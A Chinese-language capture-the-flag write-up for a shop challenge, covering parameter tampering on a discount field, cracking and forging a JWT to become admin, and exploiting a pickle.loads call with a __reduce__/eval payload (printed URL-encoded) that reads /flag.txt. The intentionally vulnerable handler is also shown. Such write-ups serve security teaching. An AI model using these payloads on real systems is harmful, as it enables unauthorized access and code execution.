题目分析

先注册账号，然后登录
目标是买到lv6，page参数代表不同页面
写个脚本寻找存在lv6的页面

import requests
url = 'http://48741e8e-30ab-4b63-a3a0-be94862b2280.node5.buuoj.cn:81/shop?page='

for i in range(500):
    u = url + str(i);
    try:
        response = requests.get(u)
        if 'lv6.png' in response.text:
            print(i)
            break
    except:
        pass

点击结算，抓包

改discount参数，即可买到lv6
访问：/b1g_m4mber，显示只有admin用户可以访问
抓包，存在jwt

jwt

jwt介绍

JSON Web Token（JSON Web 令牌）是一种跨域验证身份的方案。JWT 不加密传输的数据，但能够通 过数字签名来验证数据未被篡改
JWT 分为三部分，头部（Header），声明（Claims），签名（Signature），三个部分以英文句号.隔开。 JWT 的内容以 Base64URL 进行了编码。

jwt伪造

首先将抓到的jwt放到
jwt网站
看一下这个jwt的内容

root是我们最开始注册的用户名，我们需要将它改为admin，并且伪造签名
伪造签名需要获得令牌
我们使用工具：c-jwt-cracker-master
工具下载地址

得到key：1Kun
改用户名为admin，输入key值
将jwt替换后，得到一个网址，访问后下载到源码

pickle

根据提示，审计Admin文件

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

pickle.loads()

pickle.loads() 是 Python 中用于从序列化的字节流（serialized bytes）中加载对象的函数。它接受一个包含序列化对象数据的字节对象，并返回原始的 Python 对象。

具体来说，pickle.loads() 将字节流反序列化为原始对象，使得我们可以从文件、网络传输中接收的数据中重新构建出 Python 对象。

pickle.dumps()

pickle.dumps() 是 Python 中用于将对象序列化（pickle）为字节流的函数。它接受一个 Python 对象作为输入，并返回该对象序列化后的字节表示。

具体来说，pickle.dumps() 将一个 Python 对象转换为一个包含其序列化后数据的 bytes 对象，这样可以将其存储到文件、通过网络传输或者在程序内部进行保存和加载

urllib.unquote()

urllib.quote() 是 Python 2 中的一个函数，用于对字符串进行 URL 编码（percent encoding）。它被用来将字符串中的特殊字符转换成符合 URL 格式的形式，以便在 URL 中进行安全传输或显示。

Python反序列化

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

得到become的值：

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

替换后得到flag